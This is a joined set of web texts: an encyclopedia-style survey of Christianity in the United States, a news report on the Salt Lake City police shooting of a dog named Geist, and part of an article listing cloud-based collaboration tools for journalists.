Evangelicals held the view that the modernist and liberal parties in the Protestant churches had surrendered their heritage as Evangelicals by accommodating the views and values of the world. At the same time, they criticized their fellow Fundamentalists for their separatism and their rejection of the Social Gospel as it had been developed by Protestant activists of the previous century. They charged the modernists with having lost their identity as Evangelicals and the Fundamentalists with having lost the Christ-like heart of Evangelicalism. They argued that the Gospel needed to be reasserted to distinguish it from the innovations of the liberals and the fundamentalists.
They sought allies in denominational churches and liturgical traditions, disregarding views of eschatology and other "non-essentials," and joined also with Trinitarian varieties of Pentecostalism. They believed that in doing so, they were simply re-acquainting Protestantism with its own recent tradition. The movement's aim at the outset was to reclaim the Evangelical heritage in their respective churches, not to begin something new; and for this reason, following their separation from Fundamentalists, the same movement has been better known merely as "Evangelicalism." By the end of the 20th century, this was the most influential development in American Protestant Christianity.[citation needed]
The National Association of Evangelicals is a U.S. agency which coordinates cooperative ministry for its member denominations.
A 2015 global census estimated some 450,000 believers in Christ from a Muslim background in the United States most of whom are evangelicals or Pentecostals.[28]
Mainline Protestantism [ edit ]
The mainline Protestant Christian denominations are those Protestant denominations that were brought to the United States by its historic immigrant groups; for this reason they are sometimes referred to as heritage churches.[29] The largest are the Episcopal (English), Presbyterian (Scottish), Methodist (English and Welsh), and Lutheran (German and Scandinavian) churches.
Mainline Protestantism, including the Episcopalians (76%),[30] the Presbyterians (64%),[30] and the United Church of Christ has the highest number of graduate and post-graduate degrees per capita,[2] of any other Christian denomination in the United States,[31] as well as the most high-income earners.[32]
Episcopalians and Presbyterians tend to be considerably wealthier[33] and better educated than most other religious groups in Americans,[34] and are disproportionately represented in the upper reaches of American business,[35] law and politics, especially the Republican Party.[36] Numbers of the most wealthy and affluent American families as the Vanderbilts and Astors, Rockefeller, Du Pont, Roosevelt, Forbes, Whitney, Morgans, and Harrimans are historically Mainline Protestant families.[33]
According to Scientific Elite: Nobel Laureates in the United States by Harriet Zuckerman, a review of American Nobel prizes winners awarded between 1901 and 1972, 72% of American Nobel Prize Laureates, have identified from a Protestant background.[37] Overall, 84.2% of all the Nobel Prizes awarded to Americans in Chemistry,[37] 60% in Medicine,[37] and 58.6% in Physics[37] between 1901 and 1972 were won by Protestants.
Some of the first colleges and universities in America, including Harvard,[38] Yale,[39] Princeton,[40] Columbia,[41] Dartmouth, Williams, Bowdoin, Middlebury, and Amherst, all were founded by the Mainline Protestantism, as were later Carleton, Duke,[42] Oberlin, Beloit, Pomona, Rollins and Colorado College.
Many mainline denominations teach that the Bible is God's word in function, but tend to be open to new ideas and societal changes.[43] They have been increasingly open to the ordination of women.
Mainline churches tend to belong to organizations such as the National Council of Churches and World Council of Churches.
The seven largest U.S. mainline denominations were called by William Hutchison the "Seven Sisters of American Protestantism"[44][45] in reference to the major liberal groups during the period between 1900 and 1960.
These include:
The Association of Religion Data Archives also considers these denominations to be mainline:[19]
The Association of Religion Data Archives has difficulties collecting data on traditionally African American denominations. Those churches most likely to be identified as mainline include these Methodist groups:
Catholic Church [ edit ]
The Catholic Church arrived in what is now the United States during the earliest days of the European colonization of the Americas. At the time the country was founded (meaning the Thirteen Colonies in 1776), only a small fraction of the population there were Catholics (mostly in Maryland); however, as a result of expansion and immigration over the country's history, the number of adherents has grown dramatically and it is the largest profession of faith in the United States today. With over 67 million registered residents professing the faith in 2008, the United States has the fourth largest Catholic population in the world after Brazil, Mexico, and the Philippines, respectively.
The Church's leadership body in the United States is the United States Conference of Catholic Bishops, made up of the hierarchy of bishops and archbishops of the United States and the U.S. Virgin Islands, although each bishop is independent in his own diocese, answerable only to the Pope.
No primate for Catholics exists in the United States. The Archdiocese of Baltimore has Prerogative of Place, which confers to its archbishop a subset of the leadership responsibilities granted to primates in other countries.
The number of Catholics grew from the early 19th century through immigration and the acquisition of the predominantly Catholic former possessions of France, Spain, and Mexico, followed in the mid-19th century by a rapid influx of Irish, German, Italian and Polish immigrants from Europe, making Catholicism the largest Christian denomination in the United States. This increase was met by widespread prejudice and hostility, often resulting in riots and the burning of churches, convents, and seminaries.[58] The integration of Catholics into American society was marked by the election of John F. Kennedy as President in 1960. Since then, the percentage of Americans who are Catholic has remained at around 25%.[59]
According to the Association of Catholic Colleges and Universities in 2011, there are approximately 230 Roman Catholic universities and colleges in the United States with nearly 1 million students and some 65,000 professors.[60] Catholic schools educate 2.7 million students in the United States, employing 150,000 teachers. In 2002, Catholic health care systems, overseeing 625 hospitals with a combined revenue of 30 billion dollars, comprised the nation's largest group of nonprofit systems.[61]
Eastern Orthodox Christianity [ edit ]
Groups of immigrants from several different regions, mainly Eastern Europe and the Middle East, brought Eastern Orthodoxy to the United States. This traditional branch of Eastern Christianity has since spread beyond the boundaries of ethnic immigrant communities and now include multi-ethnic membership and parishes. There are several Eastern Orthodox ecclesiastical jurisdictions in the USA, organized within the Assembly of Canonical Orthodox Bishops of the United States of America.[63] Statistically, Eastern Orthodox Christians are among the wealthiest Christians denomination in the United States,[32] and they also tend to be better educated than most other religious groups in America, in the sense that they have a high number of graduate (68%) and post-graduate degrees (28%) per capita.[31]
Oriental Orthodox Christianity [ edit ]
Several groups of Christian immigrants, mainly from the Middle East, Caucasus, Africa and India, brought Oriental Orthodoxy to the United States. This ancient branch of Eastern Christianity includes several ecclesiastical jurisdictions in the USA, like Armenian Apostolic Church in the United States,[65] and Coptic Orthodox Church in the United States.[66] There are also dioceses of the Ethiopian Orthodox Church, and Syriac Orthodox Church,[67] including Malankara Archdiocese of North America. Also, there are dioceses of the Malankara Orthodox Syrian Church in the USA (Malankara Orthodox Diocese of Northeast America and Malankara Orthodox Diocese of Southwest America).
Latter-day Saint Movement [ edit ]
The Salt Lake Temple, which took 40 years to build, is one of the most iconic images of the LDS Church.
The Church of Jesus Christ of Latter-day Saints (LDS Church) is a nontrinitarian restorationist denomination. The church is headquartered in Salt Lake City, and is the largest originating from the Latter Day Saint movement which was founded by Joseph Smith in Upstate New York in 1830. It forms the majority in Utah, the plurality in Idaho, and high percentages in Nevada, Arizona, and Wyoming; in addition to sizable numbers in Colorado, Montana, Washington, Oregon, Alaska, Hawaii and California. Current membership in the U.S. is 6.6 million and total membership is 16.1 million worldwide.[68]
In 2010, around 13-14% of Latter Day Saints lived in Utah, the center of cultural influence for Mormonism.[69] Utah Latter Day Saints (as well as Latter Day Saints living in the Intermountain West) are on average more culturally and politically conservative and Libertarian than those living in some cosmopolitan centers elsewhere in the U.S.[70] Utahns self-identifying as Latter Day Saints also attend church somewhat more on average than Latter Day Saints living in other states. (Nonetheless, whether they live in Utah or elsewhere in the U.S., Latter Day Saints tend to be more culturally and politically conservative than members of other U.S. religious groups.)[71] Utah Latter Day Saints often place a greater emphasis on pioneer heritage than international Latter Day Saints who generally are not descendants of the Mormon pioneers.[72]
Community of Christ (formerly the Reorganized Church of Jesus Christ of Latter-day Saints) is a trinitarian restorationist denomination based in Independence, Missouri at the theologically significant Temple Lot. Community of Christ is the second largest denomination in the Latter-day Saint movement with 130,000 members in the United States and 250,000 worldwide (See Community of Christ membership statistics). The church owns many of the early LDS historic sites including the Kirtland Temple near Cleveland, Ohio and the Joseph Smith properties in Nauvoo, Illinois. Community of Christ has taken an ecumenical and progressive approach recent years including joining the National Council of Churches, ordaining women to the church's priesthood since 1984, and more recently approving the blessing of same-sex marriages.
Small churches within the Latter-day Saint movement include Church of Christ (Temple Lot), Fundamentalist Church of Jesus Christ of Latter-day Saints, Restoration Branches, and Remnant Church of Jesus Christ of Latter Day Saints.
History [ edit ]
Christianity was introduced during the period of European colonization. The Spanish and French brought Catholicism to the colonies of New Spain and New France respectively, while British and Germans introduced Protestantism. Among Protestants, adherents to Anglicanism, the Baptist Church, Congregationalism, Presbyterianism, Lutheranism, Quakerism, Mennonite and Moravian Church were the first to settle in the American colonies.
Early Colonial period [ edit ]
The Dutch founded their colony of New Netherland in 1624;[73] they established the Dutch Reformed Church as the colony's official religion in 1628.[74]
Spanish colonies [ edit ]
Spain established missions and towns in what are now Texas, New Mexico, Arizona, Florida, and California. Many cities and towns still retain in the present day the names of the Catholic saints these missions were named for; an excellent example of this is the full legal name of the city of Los Angeles: El Pueblo de Nuestra Señora Reina de Los Ángeles del Río Porciúncula, or The Town of Our Lady, Queen of the Angels of the Porciuncula River. The city was founded by Franciscan friars, who named their tiny church and later the town that formed around it after the Virgin Mary, also known to Catholics as Our Lady, Queen of the Angels. Similar patterns emerged wherever the Spanish went, such as San Antonio, Texas, (named for Anthony of Padua, Santa Fe, New Mexico (named after Francis of Assisi,) and Saint Augustine, Florida, (named for Augustine of Hippo), as was Saint Lucy County and Port Saint Lucy in Florida named for Saint Lucy/Santa Lucia although Saint Petersburg, Florida was not named for St. Peter, but for the city of the same name in Russia.
In the English colonies, Catholicism was introduced with the settling of Maryland.
Conversion of Native Americans to Catholicism was a main goal of the Catholic missionaries, especially the Jesuits. This was common in places where French influence was strong, like Detroit or Louisiana.
British colonies [ edit ]
Many of the British North American colonies that eventually formed the United States of America were settled in the 17th century by men and women, who, in the face of European religious persecution, refused to compromise passionately-held religious convictions and fled Europe.
Virginia [ edit ]
An Anglican chaplain was among the first group of English colonists, arriving in 1607. The Church of England was legally established in the colony in 1619; with a total of 22 Anglican clergymen having arrived by 1624. In practice, "establishment" meant that local taxes were funneled through the local parish to handle the needs of local government, such as roads and poor relief, in addition to the salary of the minister. There never was a bishop in colonial Virginia; the local vestry consisted of laymen controlled the parish.[75] The colonists were typically inattentive, uninterested, and bored during church services, according to the ministers, who complained that the people were sleeping, whispering, ogling the fashionably dressed women, walking about and coming and going, or at best looking out the windows or staring blankly into space.[76] There were too few ministers for the widely scattered population, so ministers encouraged parishioners to become devout at home, using the Book of Common Prayer for private prayer and devotion (rather than the Bible). The stress on personal piety opened the way for the First Great Awakening, which pulled people away from the established church and into the unauthorized Baptist and Methodist movements.[77]
New England [ edit ]
A group which later became known as the Pilgrims settled the Plymouth Colony in Plymouth, Massachusetts in 1620, seeking refuge from persecution in Europe.
The Puritans, a much larger group than the Pilgrims, established the Massachusetts Bay Colony in 1629 with 400 settlers. Puritans were English Protestants who wished to reform and purify the Church of England in the New World of what they considered to be unacceptable residues of Catholicism. Within two years, an additional 2,000 settlers arrived. From 1620 to 1640 Puritans emigrated to New England from England to escape persecution and gain the liberty to worship as they chose independently of the Church of England, England being on the verge of the English Civil War. Most settled in New England, but some went as far as the West Indies. Theologically, the Puritans were "non-separating Congregationalists." The Puritans created a deeply religious, socially tight-knit and politically innovative culture that is still present in the modern United States. They hoped this new land would serve as a "redeemer nation."[78]
Tolerance in Rhode Island and Pennsylvania [ edit ]
Roger Williams, who preached religious tolerance, separation of church and state, and a complete break with the Church of England, was banished from Massachusetts and founded Rhode Island Colony, which became a haven for other religious refugees from the Puritan community. Some migrants who came to Colonial America were in search of the freedom to practice forms of Christianity which were prohibited and persecuted in Europe. Since there was no state religion, and since Protestantism had no central authority, religious practice in the colonies became diverse.
The Quakers formed in England in 1652, where they were severely persecuted in England for daring to deviate so far from orthodox Anglican Christianity. Many sought refuge in New Jersey, Rhode Island and especially Pennsylvania, which was owned by William Penn, a rich Quaker. The Quakers kept political control until Indian wars broke out; the Quakers were pacifists and gave up control to groups that were eager to fight the Indians.[79]
Beginning in 1683 many German-speaking immigrants arrived in Pennsylvania from the Rhine Valley and Switzerland. Starting in the 1730s Count Zinzendorf and the Moravian Brethren sought to minister to these immigrants while they also began missions among the Native American tribes of New York and Pennsylvania. Heinrich Melchior Muehlenberg organized the first Lutheran Synod in Pennsylvania in the 1740s.[80]
Maryland [ edit ]
Catholic fortunes fluctuated in Maryland during the rest of the 17th century, as they became an increasingly smaller minority of the population. After the Glorious Revolution of 1689 in England, penal laws deprived Catholics of the right to vote, hold office, educate their children or worship publicly. Until the American Revolution, Catholics in Maryland, like Charles Carroll of Carrollton, were dissenters in their own country but keeping loyal to their convictions. At the time of the Revolution, Catholics formed less than 1% of the population of the thirteen colonies, in 2007, Catholics comprised 24% of US population.
Great Awakening [ edit ]
Evangelicalism is difficult to date and to define. Scholars have argued that, as a self-conscious movement, evangelicalism did not arise until the mid-17th century, perhaps not until the Great Awakening itself. The fundamental premise of evangelicalism is the conversion of individuals from a state of sin to a "new birth" through the preaching of the Word. The Great Awakening refers to a northeastern Protestant revival movement that took place in the 1730s and 1740s.
The first generation of New England Puritans required that church members undergo a conversion experience that they could describe publicly. Their successors were not as successful in reaping harvests of redeemed souls. The movement began with Jonathan Edwards, a Massachusetts preacher who sought to return to the Pilgrims' strict Calvinist roots. British preacher George Whitefield and other itinerant preachers continued the movement, traveling across the colonies and preaching in a dramatic and emotional style. Followers of Edwards and other preachers of similar religiosity called themselves the "New Lights," as contrasted with the "Old Lights," who disapproved of their movement. To promote their viewpoints, the two sides established academies and colleges, including Princeton and Williams College. The Great Awakening has been called the first truly American event.
The supporters of the Awakening and its evangelical thrust—Presbyterians, Baptists, and Methodists—became the largest American Protestant denominations by the first decades of the 19th century. By the 1770s, the Baptists were growing rapidly both in the north (where they founded Brown University), and in the South. Opponents of the Awakening or those split by it—Anglicans, Quakers, and Congregationalists—were left behind.
The First Great Awakening of the 1740s increased religiosity in most of the colonies. By 1780 the percentage of adult colonists who formally held membership in a church was between 10-30%, not counting slaves or Native Americans. North Carolina had the lowest percentage at about 4%, while New Hampshire and South Carolina were tied for the highest, at about 16%. Many others informally associated with the churches.[81]
American Revolution [ edit ]
The Revolution split some denominations, notably the Church of England, most of whose ministers supported the king. The Quakers and some German sects were pacifists and remained neutral. Religious practice suffered in certain places because of the absence of ministers and the destruction of churches, but in other areas, religion flourished.
Badly hurt, the Anglicans reorganized after the war. It became the Protestant Episcopal Church.[82]
In 1794, the Russian Orthodox missionary St. Herman of Alaska arrived on Kodiak island in Alaska and began significantly evangelizing the native peoples. Nearly all the Russians left in 1867 when the U.S. purchased Alaska, but the Eastern Orthodox faith remained.
Lambert (2003) has examined the religious affiliations and beliefs of the Founding Fathers of the United States. Of the 55 delegates to the 1787 Constitutional Convention, 49 were Protestants, and two were Catholics (D. Carroll, and Fitzsimons).[83] Among the Protestant delegates to the Constitutional Convention, 28 were Church of England (or Episcopalian, after the American Revolutionary War was won), eight were Presbyterians, seven were Congregationalists, two were Lutherans, two were Dutch Reformed, and two were Methodists.[83]
Church and state debate [ edit ]
After independence, the American states were obliged to write constitutions establishing how each would be governed. For three years, from 1778 to 1780, the political energies of Massachusetts were absorbed in drafting a charter of government that the voters would accept. One of the most contentious issues was whether the state would support the church financially. Advocating such a policy were the ministers and most members of the Congregational Church, which received public financial support, during the colonial period. The Baptists tenaciously adhered to their ancient conviction that churches should receive no support from the state[citation needed]. The Constitutional Convention chose to support the church and Article Three authorized a general religious tax to be directed to the church of a taxpayers' choice.
Such tax laws also took effect in Connecticut and New Hampshire.
19th century [ edit ]
Separation of church and state [ edit ]
In October 1801, members of the Danbury Baptists Associations wrote a letter to the new President-elect Thomas Jefferson. Baptists, being a minority in Connecticut, were still required to pay fees to support the Congregationalist majority. The Baptists found this intolerable. The Baptists, well aware of Jefferson's own unorthodox beliefs, sought him as an ally in making all religious expression a fundamental human right and not a matter of government largesse.
In his January 1, 1802, reply to the Danbury Baptist Association Jefferson summed up the First Amendment's original intent, and used for the first time anywhere a now-familiar phrase in today's political and judicial circles: the amendment established a "wall of separation between church and state." Largely unknown in its day, this phrase has since become a major Constitutional issue. The first time the U.S. Supreme Court cited that phrase from Jefferson was in 1878, 76 years later.
Second Great Awakening [ edit ]
The Second Great Awakening was a Protestant movement that began around 1790, gained momentum by 1800, and after 1820 membership rose rapidly among Baptist and Methodist congregations whose preachers led the movement. It was past its peak by the 1840s. It was a reaction against skepticism, deism, and rational Christianity, and was especially attractive to young women.[84] Millions of new members enrolled in existing evangelical denominations and led to the formation of new denominations. Many converts believed that the Awakening heralded a new millennial age. The Second Great Awakening stimulated the establishment of many reform movements designed to remedy the evils of society before the anticipated Second Coming of Jesus Christ.[85]
During the Second Great Awakening, new Protestant denominations emerged such as Adventism, the Restoration Movement, and groups such as Jehovah's Witnesses and Mormonism. While the First Great Awakening was centered on reviving the spirituality of established congregations, the Second focused on the unchurched and sought to instill in them a deep sense of personal salvation as experienced in revival meetings.
The principal innovation produced by the revivals was the camp meeting. When assembled in a field or at the edge of a forest for a prolonged religious meeting, the participants transformed the site into a camp meeting. Singing and preaching were the main activities for several days. The revivals were often intense and created intense emotions. Some fell away but many if not most became permanent church members. The Methodists and Baptists made them one of the evangelical signatures of the denomination.[86]
African American churches [ edit ]
The Christianity of the black population was grounded in evangelicalism. The Second Great Awakening has been called the "central and defining event in the development of Afro-Christianity." During these revivals Baptists and Methodists converted large numbers of blacks. However, many were disappointed at the treatment they received from their fellow believers and at the backsliding in the commitment to abolish slavery that many white Baptists and Methodists had advocated immediately after the American Revolution.
When their discontent could not be contained, forceful black leaders followed what was becoming an American habit—they formed new denominations. In 1787, Richard Allen and his colleagues in Philadelphia broke away from the Methodist Church and in 1815 founded the African Methodist Episcopal (AME) Church.
After the Civil War, Black Baptists desiring to practice Christianity away from racial discrimination, rapidly set up several separate state Baptist conventions. In 1866, black Baptists of the South and West combined to form the Consolidated American Baptist Convention. This convention eventually collapsed but three national conventions formed in response. In 1895 the three conventions merged to create the National Baptist Convention. It is now the largest African-American religious organization in the United States.
Liberal Christianity [ edit ]
The "secularization of society" is attributed to the time of the Enlightenment. In the United States, religious observance is much higher than in Europe, and the United States' culture leans conservative in comparison to other western nations, in part due to the Christian element.
Liberal Christianity, exemplified by some theologians, sought to bring to churches new critical approaches to the Bible. Sometimes called "liberal theology", liberal Christianity is an umbrella term covering movements and ideas within 19th- and 20th-century Christianity. New attitudes became evident, and the practice of questioning the nearly universally accepted Christian orthodoxy began to come to the forefront.
In the post–World War I era, liberalism was the faster-growing sector of the American church. Liberal wings of denominations were on the rise, and a considerable number of seminaries held and taught from a liberal perspective as well. In the post–World War II era, the trend began to swing back towards the conservative camp in America's seminaries and church structures.
Catholic Church [ edit ]
By 1850 Catholics had become the country's largest single denomination. Between 1860 and 1890 the population of Catholics in the United States tripled through immigration; by the end of the decade, it would reach seven million. These huge numbers of immigrant Catholics came from Ireland, Quebec, Southern Germany, Italy, Poland and Eastern Europe. This influx would eventually bring increased political power for the Catholic Church and a greater cultural presence led at the same time to a growing fear of the Catholic "menace." As the 19th century wore on animosity waned, Protestant Americans realized that Catholics were not trying to seize control of the government.
Fundamentalism [ edit ]
Protestant fundamentalism began as a movement in the late 19th century and early 20th century to reject influences of secular humanism and source criticism in modern Christianity. In reaction to liberal Protestant groups that denied doctrines considered fundamental to these conservative groups, they sought to establish tenets necessary to maintaining a Christian identity, the "fundamentals," hence the term fundamentalist.
Over time, the movement divided, with the label Fundamentalist being retained by the smaller and more hard-line group(s). Evangelical has become the main identifier of the groups holding to the movement's moderate and earliest ideas.
20th century [ edit ]
Evangelicalism [ edit ]
In the U.S. and elsewhere in the world, there has been a marked rise in the evangelical wing of Protestant denominations, especially those that are more exclusively evangelical, and a corresponding decline in the mainstream liberal churches.
The 1950s saw a boom in the Evangelical church in America. The post–World War II prosperity experienced in the U.S. also had its effects on the church. Church buildings were erected in large numbers, and the Evangelical church's activities grew along with this expansive physical growth. In the southern U.S., the Evangelicals, represented by leaders such as Billy Graham, have experienced a notable surge displacing the caricature of the pulpit pounding country preachers of fundamentalism.[citation needed] The stereotypes have gradually shifted.
Although the Evangelical community worldwide is diverse, the ties that bind all Evangelicals are still apparent: a "high view" of Scripture, belief in the Deity of Christ, the Trinity, salvation by grace through faith, and the bodily resurrection of Christ.
National associations [ edit ]
The Federal Council of Churches, founded in 1908, marked the first major expression of a growing modern ecumenical movement among Christians in the United States. It was active in pressing for reform of public and private policies, particularly as they impacted the lives of those living in poverty, and developed a comprehensive and widely debated Social Creed which served as a humanitarian "bill of rights" for those seeking improvements in American life.
In 1950, the National Council of the Churches of Christ in the USA (usually identified as National Council of Churches, or NCC) represented a dramatic expansion in the development of ecumenical cooperation. It was a merger of the Federal Council of Churches, the International Council of Religious Education, and several other interchurch ministries. Today, the NCC is a joint venture of 35 Christian denominations in the United States with 100,000 local congregations and 45,000,000 adherents. Its member communions include Mainline Protestant, Eastern Orthodox, Oriental Orthodox, African-American, Evangelical and historic Peace churches. The NCC took a prominent role in the Civil Rights Movement and fostered the publication of the widely used Revised Standard Version of the Bible, followed by an updated New Revised Standard Version, the first translation to benefit from the discovery of the Dead Sea Scrolls. The organization is headquartered in New York City, with a public policy office in Washington, DC. The NCC is related fraternally to hundreds of local and regional councils of churches, to other national councils across the globe, and to the World Council of Churches. All of these bodies are independently governed.
Carl McIntire led in organizing the American Council of Christian Churches (ACCC), now with 7 member bodies, in September 1941. It was a more militant and fundamentalist organization set up in opposition to what became the National Council of Churches.
The National Association of Evangelicals for United Action was formed in St. Louis, Missouri on April 7–9, 1942. It soon shortened its name to the National Association of Evangelicals (NEA). There are currently 60 denominations with about 45,000 churches in the organization. The NEA is related fraternally the World Evangelical Fellowship.
In 2006, 39 communions and 7 Christian organizations officially launched Christian Churches Together in the USA (CCT). CCT provides a space that is inclusive of the diversity of Christian traditions in the United States—Evangelical/Pentecostal, Eastern Orthodox, Oriental Orthodox, Catholic, historic Protestant, and historic Black churches. CCT is characterized by its emphasis on relationships and prayer. Every year these communions and organizations meet over four days to discuss critical social issues, pray and strengthen their relationships.[87]
Pentecostalism [ edit ]
Another noteworthy development in 20th-century Christianity was the rise of the modern Pentecostal movement. Pentecostalism, which had its roots in the Pietism and the Holiness movement, many will cite that it arose out of the meetings in 1906 at an urban mission on Azusa Street in Los Angeles, but it actually started in 1900 in Topeka, Kansas with a group led by Charles Parham and the Bethel Bible School <https://en.wikipedia.org/wiki/Charles_Fox_Parham> From there it spread by those who experienced what they believed to be miraculous moves of God there.
Pentecostalism would later birth the Charismatic movement within already established denominations, and it continues to be an important force in Western Christianity.
Catholic Church [ edit ]
By the beginning of the 20th century, approximately one-sixth of the population of the United States was Catholic. Modern Catholic immigrants come to the United States from the Philippines, Poland, and Latin America, especially from Mexico. This multiculturalism and diversity have greatly impacted the flavor of Catholicism in the United States. For example, many dioceses serve in both the English language and the Spanish language.
Youth programs [ edit ]
While children and youth in the colonial era were treated as small adults, awareness of their special status and needs grew in the nineteenth century, as one after another the denominations large and small began special programs for their young people. Protestant theologian Horace Bushnell in Christian Nurture (1847) emphasized the necessity of identifying and supporting the religiosity of children and young adults. Beginning in the 1790s the Protestant denominations set up Sunday school programs. They provided a major source of new members.[88] Urban Protestant churchmen set up the interdenominational YMCA (and later the YWCA) programs in cities from the 1850s.[89] Methodists looked on their youth as potential political activists, providing them with opportunities to engage in social justice movements such as prohibition. Black Protestants, especially after they could form their own separate churches, integrated their young people directly into the larger religious community. Their youth played a major role in the leadership of the Civil Rights Movement of the 1950s and the 1960s. White evangelicals in the twentieth century set up Bible clubs for teenagers and experimented with the use of music to attract young people. The Catholics set up an entire network of parochial schools, and by the late nineteenth century probably more than half of their young members were attending elementary schools run by local parishes.[90] Some Missouri Synod German Lutherans and Dutch Reformed churches also set up parochial schools. In the twentieth century, all the denominations sponsored programs such as the Boy Scouts and Girl Scouts.[91]
Demographics [ edit ]
Demographics by state [ edit ]
<30% <40% <50% >50% Catholic Baptist Methodist Lutheran Mormon No religion
[92] in surveys of the churches themselves. Congregational "adherents" include all full members, their children, and others who regularly attend services. Numbers in the chart below come from statistics collected by the ASARBin surveys of the churches themselves. Congregational "adherents" include all full members, their children, and others who regularly attend services.
Beliefs and attitudes [ edit ]
The Baylor University Institute for Studies of Religion conducted a survey covering various aspects of American religious life.[93] The researchers analyzing the survey results have categorized the responses into what they call the "four Gods": An authoritarian God (31%), a benevolent God (25%), a distant God (23%), and a critical God (16%).[93] A major implication to emerge from this survey is that "the type of god people believe in can predict their political and moral attitudes more so than just looking at their religious tradition."[93]
As far as religious tradition, the survey determined that 33.6% of respondents are evangelical Protestants, while 10.8% had no religious affiliation at all. Out of those without affiliation, 62.9% still indicated that they "believe in God or some higher power".[93]
Another study, conducted by Christianity Today with Leadership magazine, attempted to understand the range and differences among American Christians. A national attitudinal and behavioral survey found that their beliefs and practices clustered into five distinct segments. Spiritual growth for two large segments of Christians may be occurring in non-traditional ways. Instead of attending church on Sunday mornings, many opt for personal, individual ways to stretch themselves spiritually.[94]
19 percent of American Christians are described by the researchers as Active Christians. They believe salvation comes through Jesus Christ, attend church regularly, are Bible readers, invest in personal faith development through their church, accept leadership positions in their church, and believe they are obligated to "share [their] faith", that is, to evangelize others.
They believe salvation comes through Jesus Christ, attend church regularly, are Bible readers, invest in personal faith development through their church, accept leadership positions in their church, and believe they are obligated to "share [their] faith", that is, to evangelize others. 20 percent are referred to as Professing Christians. They are also committed to "accepting Christ as Savior and Lord" as the key to being a Christian, but focus more on personal relationships with God and Jesus than on church, Bible reading or evangelizing.
They are also committed to "accepting Christ as Savior and Lord" as the key to being a Christian, but focus more on personal relationships with God and Jesus than on church, Bible reading or evangelizing. 16 percent fall into a category named Liturgical Christians. They are predominantly Lutheran, Catholic, Episcopalian, Eastern Orthodox or Oriental Orthodox. They are regular churchgoers, have a high level of spiritual activity and recognize the authority of the church.
They are predominantly Lutheran, Catholic, Episcopalian, Eastern Orthodox or Oriental Orthodox. They are regular churchgoers, have a high level of spiritual activity and recognize the authority of the church. 24 percent are considered Private Christians. They own a Bible but don't tend to read it |
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SALT LAKE CITY -- A pair of investigations have cleared a Salt Lake City police officer who shot and killed a dog while searching for a missing child.
An internal affairs investigation and a probe by Salt Lake City's Civilian Review Board found Officer Brett Olsen did not violate policy when he shot Geist in the backyard of Sean Kendall's home.
"This was an unfortunate circumstance in which an officer was doing exactly what we in the public require of them, and an animal who was doing what instinct believes appropriate," Burbank said at a Friday morning news conference. "We are, as the police department, very sorry for the circumstance."
Kendall blasted the findings.
"It is with great disappointment the Salt Lake City Police Department has chosen to tow the thin blue line instead of uphold their oath to the sovereign country and state they are employed by," Kendall told reporters outside his home Friday afternoon.
Read the letter from the SLCPD to Kendall here:
Kendall's 2-year-old Weimeraner "Geist" was killed on June 18 as Olsen searched the neighborhood for a missing toddler. He entered Kendall's backyard, and police said he shot Geist because the dog charged him and the officer felt threatened.
The Civilian Review Board, which is independent from the SLC PD, also ruled the shooting justified.
Read the findings from the CRB here:
Kendall told FOX 13 he did not believe the CRB was truly independent.
"When police investigate themselves, typically they find themselves not guilty," he said.
Burbank said the officer was justified.
"Imagine the outcry if that child was in that yard injured, abducted... and we did nothing?" he said.
Read the dispatch log for the missing child report here:
Burbank said there is a legal standard that allows for officers to enter into yards unannounced. He also said Officer Olsen had "seconds" to react. The reports stated there was 3 feet between a charging Geist and Olsen, who used deadly force.
The Civilian Review Board report found that Olsen did not have training on how to deal with attacking animals, unlike other officers. Burbank committed that the SLC PD would provide more training for officers going forward.
Burbank called for a lessening of the "rhetoric" from people outraged over the dog's shooting, noting that some people have made death threats against Olsen and other SLC PD officers.
"All I ask is for a civil dialogue," he said.
Read the dispatch log for the shooting of Geist here:
Burbank said the SLC PD offered to compensate Kendall for the death of Geist and pay for burial costs immediately after the shooting, but it was rejected.
The chief insisted the police department was approached by Kendall about a settlement. At the news conference, Burbank refused to talk specifics about the negotiations but said Kendall never sought policy changes within the department, only money.
After going back-and-forth on Facebook, Kendall announced earlier this week that he had rejected the settlement. On Friday, he told reporters he was consulting with a lawyer and considering a lawsuit against the SLC PD.
The shooting has triggered outrage from animal rights activists and others, who believed that the officer should never have entered Kendall's backyard. Several protests have been staged over the shooting of Geist.
Read a statement from the Humane Society of Utah here:All Together Now: 21 Cloud-Based Tools for Collaborative Journalism
The shift toward open-source, collaborative journalism—in every arena from videography to data-driven reporting—means a host of new web and cloud tools.
Whether you’re working remotely in a virtual newsroom or sending raw material to your editors from the field, Microsoft Word and email won’t always cut it.
Here are some tools that may come in handy for different situations.
If you and your colleague are working on a story together:
Whether your editor is across the country or two desks over, Google Docs is the obvious rebuttal to an email with “NewsStoryEdit13.docx” attached. Even reports, editors and developers at the New York Times work on stories simultaneously through Google Docs.
But Google isn’t the end all, be all. For some, its lack of support for the popular Markdown syntax makes it a no-go, giving Markdown-friendly alternatives like StackEdit an edge. A number of sleek collaborative writing ecosystems have emerged, from blogging platform Medium to popular writing tool Editorially.
Editorially’s highlight-comment-collaborative system and Markdown plain-text syntax had drawn a loyal fan base among the web developer community in particular. But when its run ended in 2014, fans flocked to version-controlled and minimalist alternatives like Draft, TypeWrite, Onword, Penflip (which has been described as the Github of writing) and Poetica. Poetica added Markdown support just this month.
If you need another set of eyes on your code:
Github is king when it comes to collaborative coding and development. There are several beginner’s guides to navigating Github, like this one from Lifehacker and this one from Read Write Web. If you’re a Github fan, consider also exploring its capabilities by using it to host your writing.
You can upload your own coding projects to Github, using it as a code portfolio. Or you can contribute to other projects by “forking” them and adding your own changes, or by suggesting fixes here and there.
Github’s version-control features mean that you don’t have to worry about your changes overriding your colleague’s, or your colleague accidentally erasing your updates as she tweaks your script. Like Google Docs, it merges modifications so you can rest easy.
If you’re a fan of Google Docs, try Editey, a new code editor that integrates into Google Docs.
But if you just need to send a quick snippet of code to a colleague, try Github’s Gists and use New York Times graphics editor Mike Bostock’s bl.ocks.org to view the results. Or test your HTML, CSS and Javascript with in-browser coding playgrounds like JSFiddle and CodePen without even opening a text editor.
When you need to keep up with your colleagues:
Can’t follow long email threads? Try Slack, a team messaging app that has made its way to start-ups and high-profile newsrooms across the country.
Its strong search function and sleek mobile apps have made it a stronghold in online distributed teams. A newsroom can have one general chat running, but have several channels for the design, editorial, graphics and data teams.
Team chat rooms, whatever platform you choose, should grow into a watering hole for staffers, writes former Editorially CEO Mandy Brown. “This makes the chat room not only a good place to catch up with one’s coworkers, but also a prime resource for understanding the work as a whole,” Brown said.
